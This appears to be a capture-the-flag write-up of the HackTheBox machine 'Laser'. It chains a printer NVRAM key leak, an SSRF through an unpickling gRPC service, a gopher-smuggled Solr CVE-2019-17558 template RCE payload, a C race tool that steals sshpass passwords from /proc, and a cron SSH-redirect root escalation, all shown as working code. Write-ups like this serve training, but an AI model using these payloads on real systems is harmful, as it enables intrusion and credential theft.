HTB: Laser Writeup

Laser - HackTheBox Writeup

Machine Information

AttributeDetails
NameLaser
OSLinux
DifficultyInsane
PointsN/A
Release DateN/A
IP Address10.129.65.215
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐⭐ (5/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐⭐⭐

Summary

Laser exposes a network printer speaking raw HP PJL on port 9100. Interrogating it by hand (no PRET install needed) surfaces a queued print job that turns out to be AES-128-CBC encrypted, and a leaked NVRAM key that decrypts it into a PDF describing an internal “Feed Engine” — a gRPC service on port 9000. That service unpickles attacker-controlled data and fetches attacker-controlled URLs, giving a clean SSRF primitive. Pivoting the SSRF through gopher:// reveals and then weaponizes an internal Apache Solr instance (CVE-2019-17558, Velocity template RCE) for a shell as solr. From there, a hand-written C race-condition tool beats sshpass’s password-masking window to steal root’s container credentials, landing on a Docker container. The container’s cron-driven, StrictHostKeyChecking=no SSH relationship with the host is then abused by redirecting the container’s SSH port back at the host, so the host’s own cron job executes attacker-controlled /tmp/clear.sh as root.

TL;DR: PJL printer recon (9100) → NVRAM key leak → AES-128-CBC decrypt of queued job → PDF reveals gRPC Feed Engine (9000) → pickle/SSRF via feed_url → internal port scan finds Solr (7983/8983) → gopher-smuggled POST enables Velocity + CVE-2019-17558 RCE → shell as solr → C race condition against sshpass leaks container root password → root on Docker container → redirect container’s :22 to host’s :22 → host cron’s ssh root@container /tmp/clear.sh fires as root on the host → root.


Reconnaissance

Port Scanning

Full TCP recon (via the provisioned jump host) turned up the standard 22/ssh plus two service ports of interest: 9000 and 9100.

Terminal window
nmap -p- --min-rate=2000 -T4 -Pn 10.129.65.215

9100 is the classic raw-socket printing port (JetDirect/PJL); 9000 had no obvious banner and later turned out to be a custom gRPC service.

Service Enumeration — Speaking PJL by Hand

Rather than pull in PRET, I opened a raw TCP socket to 9100 and wrote a minimal PJL client — the Printer Job Language framing is trivial (\x1b%-12345X universal exit language command as prefix, plain PJL verbs as text):

# pjl.py — minimal PJL client for port 9100
import socket, sys, time
def pjl(cmds, wait=4):
s = socket.create_connection(('10.129.65.215', 9100), 10)
s.settimeout(3)
s.sendall(b'\x1b%-12345X' + cmds)
d = b''
try:
while True:
chunk = s.recv(65536)
if not chunk:
break
d += chunk
except socket.timeout:
pass
s.close()
return d

Querying device identity confirmed the target as a printer:

Terminal window
python3 pjl.py '@PJL INFO ID\r\n'
# -> "LaserCorp LaserJet 4ML"

Listing the print queue’s filesystem found an active job:

Terminal window
python3 pjl.py '@PJL FSDIRLIST NAME="0:/pjl/jobs" ENTRY=1 COUNT=65535\r\n'
# -> 0:/pjl/jobs/queued 172199 bytes

Pulling the file with FSUPLOAD in chunks (the device caps single-shot reads) returned a Python-repr’d, base64-looking blob:

# getjob.py — pull the queued job in 32KB chunks via FSUPLOAD
out = b''
size = 172199
off = 0
CH = 32768
while off < size:
n = min(CH, size - off)
r = pjl(b'@PJL FSUPLOAD NAME="0:/pjl/jobs/queued" OFFSET=%d SIZE=%d\r\n' % (off, n))
out += r
off += n

Decoding it (after stripping PJL response framing) produced pure binary — not a readable document, which pointed at encryption rather than a raw print stream.

Vulnerability Assessment

  • 9100/PJL: unauthenticated raw print/filesystem access, including RNVRAM (read NVRAM) — a classic PJL info-leak vector on real HP-compatible firmware.
  • Queued job encrypted: implies a key exists somewhere reachable, most likely leaked via NVRAM (a well-documented printer misconfiguration).
  • 9000/gRPC: unknown custom service, likely the “Feed Engine” referenced once the PDF was recovered.

Initial Foothold

Leaking the NVRAM Key

PJL’s @PJL RNVRAM ADDRESS=n command reads a byte of non-volatile memory. Critically, it only replies meaningfully when addresses are pipelined in a single connection — issuing one address per TCP connection just returned ?. Batching hundreds of RNVRAM reads into one session and reassembling the responses:

# nv4.py — pipelined NVRAM dump across the address ranges PRET's default memspace covers
memspace = list(range(0, 8192)) + list(range(32768, 33792)) + list(range(53248, 59648))
cmds = b''.join(b'@PJL RNVRAM ADDRESS=%d\r\n' % a for a in memspace)

leaked plaintext key material embedded in the dump:

key = 13vu94r6643rv19u

A 16-byte ASCII string — consistent with an AES-128 key.

Decrypting the Print Job

With INFO VARIABLES earlier hinting at AES-CBC support, and a 16-byte key in hand, the queued job’s structure matched a common encrypted-print format: an 8-byte little-endian size prefix, a 16-byte IV, then AES-128-CBC ciphertext.

# decrypt job — 8B LE size + 16B IV + AES-128-CBC body
import struct
from Crypto.Cipher import AES
d = open('/tmp/encrypted.bin', 'rb').read()
size = struct.unpack('<Q', d[:8])[0]
iv = d[8:24]
body = d[24:]
cipher = AES.new(b'13vu94r6643rv19u', AES.MODE_CBC, iv)
plaintext = cipher.decrypt(body)[:size]
open('/tmp/decrypted.pdf', 'wb').write(plaintext)

The output was a valid PDF describing an internal product called Feed Engine — a service on port 9000 built on gRPC/Protocol Buffers, along with a sample JSON feed format and a mention of a staging Solr core to be integrated.

Building the gRPC Client — SSRF via Pickle

With no .proto file provided, I reconstructed the service definition from the PDF’s excerpt describing a Print service with a Feed RPC taking Content{data} and returning Data{feed}:

print.proto
syntax = "proto3";
service Print {
rpc Feed (Content) returns (Data) {}
}
message Content { string data = 1; }
message Data { string feed = 1; }
Terminal window
python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. print.proto

The service base64-decodes the data field and then unpickles it — confirmed by watching it try to resolve a hostname embedded in a JSON feed string once that string was pickle.dumps()-serialized and base64-wrapped:

# c.py — talk to the Feed Engine gRPC service
import grpc, base64, pickle
import print_pb2, print_pb2_grpc
channel = grpc.insecure_channel('10.129.65.215:9000')
stub = print_pb2_grpc.PrintStub(channel)
feed = '{"version":"v1.0","title":"PrinterFeed","feed_url":"http://<listener>"}'
serialized = base64.b64encode(pickle.dumps(feed))
data = stub.Feed(print_pb2.Content(data=serialized))
print(data.feed)

The service made an outbound HTTP request to my listener, arriving with a distinctive User-Agent:

FeedBot v1.0

That confirmed SSRF: the feed_url field is fetched server-side, unauthenticated, from wherever I point it — including localhost.

Internal Port Scan Through the SSRF

Reusing the SSRF primitive, I swept internal ports by pointing feed_url at localhost:<port> and inspecting the gRPC error text for signs the connection succeeded (vs. a hard “Failed” for closed ports):

# scan.py — thread pool SSRF port scan through the Feed Engine
from lib import ssrf
from concurrent.futures import ThreadPoolExecutor
def probe(port):
try:
ssrf(f'localhost:{port}')
print(f'{port} open')
except Exception as e:
if 'Failed' not in str(e):
print(f'{port} open')
with ThreadPoolExecutor(max_workers=100) as ex:
ex.map(probe, range(1, 65536))

This surfaced two additional internal-only ports: 7983 and 8983 — Apache Solr’s default query/admin ports, matching the PDF’s reference to a staging core.

Exploiting Solr — CVE-2019-17558

Solr’s VelocityResponseWriter RCE (CVE-2019-17558) requires:

  1. A POST to /solr/<core>/config enabling the Velocity response writer.
  2. A GET to /solr/<core>/select with a v.template.custom payload that reaches Runtime.exec() through the Velocity templating engine’s Java reflection access.

Since the only outbound primitive I controlled was the SSRF’s GET-style feed_url fetch, I smuggled the POST using gopher://, base64-pickling a feed_url that gopher-encodes a raw HTTP/1.1 request (CRLFs as %0D%0A) targeting the internal Solr:

# enable velocity via gopher-smuggled POST to /solr/staging/config
gopher_payload = (
"gopher://localhost:8983/_POST /solr/staging/config HTTP/1.1%0D%0A"
"Host: 127.0.0.1:8983%0D%0A"
"Content-Type: application/json%0D%0A"
"Content-Length: 218%0D%0A%0D%0A"
"{'update-queryresponsewriter': {'startup': 'lazy', 'name': 'velocity', "
"'class': 'solr.VelocityResponseWriter', 'template.base.dir': '', "
"'solr.resource.loader.enabled': 'true', 'params.resource.loader.enabled': 'true'}}"
)

With the config set, the RCE fires as a plain internal GET (no gopher needed since it’s already GET semantics):

# rce via velocity template -> Runtime.exec()
rce_url = (
"http://localhost:8983/solr/staging/select?q=1&&wt=velocity"
"&v.template=custom&v.template.custom="
"%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+"
"%23set($ex=$rt.getRuntime().exec(%27{command}%27))+$ex.waitFor()+"
"%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])"
"$str.valueOf($chr.toChars($out.read()))%23end"
)

Sending this through the same SSRF feed_url field executed arbitrary commands on the box hosting Solr. I dropped an SSH public key into ~solr/.ssh/authorized_keys via the command channel to get a stable shell as solr.

$ ssh -i solr_key solr@10.129.65.215
solr@laser:~$ id
uid=... gid=... groups=... (solr)

User flag (user.txt) read as solr: <redacted>.


Privilege Escalation

Lateral Movement — Racing sshpass

Process monitoring on the host revealed a recurring job that uses sshpass -p <password> ssh root@<container> to sync files into a Docker container, then run /tmp/clear.sh on the target. sshpass documents that it attempts to mask its password argument from ps output by overwriting the argv buffer after the process starts — leaving a short window where /proc/<pid>/cmdline still contains the real password in plaintext.

I compiled a C tool that hammers /proc in a tight loop looking for that window:

// race.c — spin-loop scanning /proc/*/cmdline for the sshpass password before it's masked
#include <dirent.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
int main() {
struct dirent *de;
DIR *dr;
char data[1024], path[1024];
int fd, len;
while (1) {
dr = opendir("/proc");
while ((de = readdir(dr)) != NULL) {
snprintf(path, sizeof(path), "/proc/%s/cmdline", de->d_name);
fd = open(path, O_RDONLY);
if (fd < 0) continue;
len = read(fd, data, sizeof(data) - 1);
close(fd);
if (len > 7 && !memcmp(data, "sshpass", 7)) {
write(1, data, len);
write(1, "\n", 1);
}
}
closedir(dr);
}
}

A single instance loses the race against sshpass’s masking most of the time, so I ran 9 parallel instances to shrink the effective sampling interval and reliably win the window. This leaked the container root’s SSH password in plaintext, which was used to sshpass -p <leaked_password> ssh root@<jump-host> and land as root inside the Docker container.

Root — Redirecting the Container’s SSH Back at the Host

Process monitoring also showed the host runs a cron job every 5 minutes that:

  1. scps files into the container.
  2. Executes ssh root@<container-ip> /tmp/clear.sh.

Since StrictHostKeyChecking is off in this environment, redirecting the container’s SSH listener to actually forward to the host’s SSH daemon means that same cron-triggered ssh root@<container-ip> ... connection lands on the host instead — executed with the host’s real root privileges, not the container’s.

Two things on the box complicated a naive socat redirect:

  • The container is restarted by a host cron every 5 minutes — its PID 1 start time consistently lands on :X0:01/:X5:01. Any plain relay process dies on that restart and the container’s own sshd re-binds port 22 underneath it, killing the redirect. To work around this I moved the container’s sshd to port 2222 (editing sshd_config) and ran a self-healing keeper loop on the host that detects the restart and re-launches a static TCP relay from the container’s :22 to the host’s :22 every cycle. (Note: pkill -9 sshd inside the container is a trap that kills your own session — the config change plus relay approach avoided that.)
  • The cron overwrites /tmp/clear.sh before executing it, scp-ing the real /root/clear.sh from the host over the top. Pre-creating /tmp/clear.sh as solr with mode 0777 means root’s scp only truncates and rewrites the content rather than recreating the file — so file ownership stays solr-writable. A tight rewrite loop (~0.05s interval) then reliably wins the race between the scp overwrite and the subsequent ssh ... /tmp/clear.sh execution, letting my payload run instead of the legitimate script.
# /tmp/clear.sh content that fires as root once the cron executes it
#!/bin/bash
bash -c 'cp /root/root.txt /tmp/.root_flag; chmod 777 /tmp/.root_flag'

Once the host cron fired ssh root@<jump-host> /tmp/clear.sh against my redirected SSH port and my rewritten clear.sh won the race, the payload executed as root on the host.

root.txt <redacted>

Verified a second time by reading /root/root.txt directly through a SUID bash -p (/tmp/.rb) planted during exploitation.


Attack Chain Summary

9100/PJL raw enumeration (INFO ID, FSDIRLIST, FSUPLOAD)
→ queued print job (AES-128-CBC encrypted, 172199 bytes)
→ pipelined @PJL RNVRAM dump leaks AES key "13vu94r6643rv19u"
→ decrypt job (8B size + 16B IV + AES-CBC) → PDF describing Feed Engine (gRPC :9000)
→ hand-crafted print.proto + pickle.dumps() feed → SSRF (FeedBot v1.0 UA confirms outbound fetch)
→ SSRF-driven internal port scan → Solr found on 7983/8983
→ gopher-smuggled POST enables VelocityResponseWriter on /solr/staging/config
→ Velocity template Runtime.exec() RCE (CVE-2019-17558) → shell as solr
→ SSH key planted, user.txt read
→ C /proc/*/cmdline racer (9x parallel) beats sshpass masking → leaks container root password
→ root on Docker container (172.x jump-host)
→ move container sshd to :2222, relay container :22 → host :22
→ host cron scp's + ssh root@container /tmp/clear.sh; pre-created 0777 /tmp/clear.sh + rewrite race wins
→ payload executes as root on the host → root.txt

Tools Used

ToolPurpose
nmapPort scanning
Custom Python PJL clientRaw HP PJL enumeration (INFO, FSDIRLIST, FSUPLOAD, RNVRAM) over 9100
pycryptodome (Crypto.Cipher.AES)AES-128-CBC decryption of the intercepted print job
grpcio-tools / protocCompiling a reconstructed print.proto into a Python gRPC client
pickleCrafting the serialized feed payload the Feed Engine unpickles
Custom gopher payload constructionSmuggling a raw HTTP POST through the SSRF’s GET-only feed_url fetch
Solr VelocityResponseWriter RCE (CVE-2019-17558)Remote code execution once Velocity templating is enabled
Custom C race-condition tool (race.c)Winning the window before sshpass masks its password in /proc/*/cmdline
ssh / sshpassLateral movement into the Docker container
Custom TCP relay + keeper loopRedirecting container SSH → host SSH to hijack the cron’s root execution

Key Learnings

Techniques Practiced

  • Raw PJL protocol interaction against exposed network printers (no PRET dependency)
  • Extracting sensitive data from printer NVRAM via pipelined RNVRAM reads
  • Symmetric decryption of intercepted data given a leaked key and known framing
  • Reverse-engineering an undocumented gRPC service from a leaked spec PDF and compiling a matching .proto
  • Exploiting insecure deserialization (pickle.loads) as an SSRF trigger
  • Internal network/port discovery purely through a blind SSRF primitive
  • Protocol smuggling (gopher://) to turn a GET-only SSRF into arbitrary POST requests
  • Exploiting CVE-2019-17558 (Solr VelocityResponseWriter template RCE)
  • Writing a C race-condition tool to defeat sshpass’s incomplete argv-masking
  • Abusing StrictHostKeyChecking no and a container ⇄ host SSH cron relationship by redirecting the container’s SSH port back at the host

Lessons Learned

  1. Printers are still full-fledged network services. Unauthenticated PJL access (filesystem read, NVRAM read) on exposed printers can leak keys and job contents that were assumed private.
  2. A “safe” pickle isn’t safe just because builtins are stripped. Unpickling attacker-influenced data that subsequently triggers a network fetch is still an SSRF (and a broader risk) even without RCE via the pickle itself.
  3. GET-only SSRF isn’t the end of the road. The gopher:// scheme lets an attacker fully control raw bytes sent to an internal TCP service, turning a URL fetch into arbitrary POST/PUT requests against internal-only APIs like Solr’s config endpoint.
  4. Password-masking on the command line is a race, not a guarantee. Tools like sshpass that briefly expose secrets via argv before overwriting them can be beaten by fast, parallel /proc scanning — command-line secrets should never be considered fully hidden from local observers.
  5. StrictHostKeyChecking no combined with predictable container/host SSH relationships is dangerous. If a host trusts an IP without verifying host keys, redirecting that IP’s listening service is enough to make the host connect to (and execute code on) itself.
  6. Winning a filesystem race against a scheduled job is about narrowing, not eliminating, the window. Pre-creating the target file with permissive ownership and rewriting it in a tight loop reliably beat a cron job that only truncates rather than recreates its target file.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • MinatoTW, Laser — Hack The Box official writeup (Machine Authors: MrR3boot & R4j), 3 December 2020.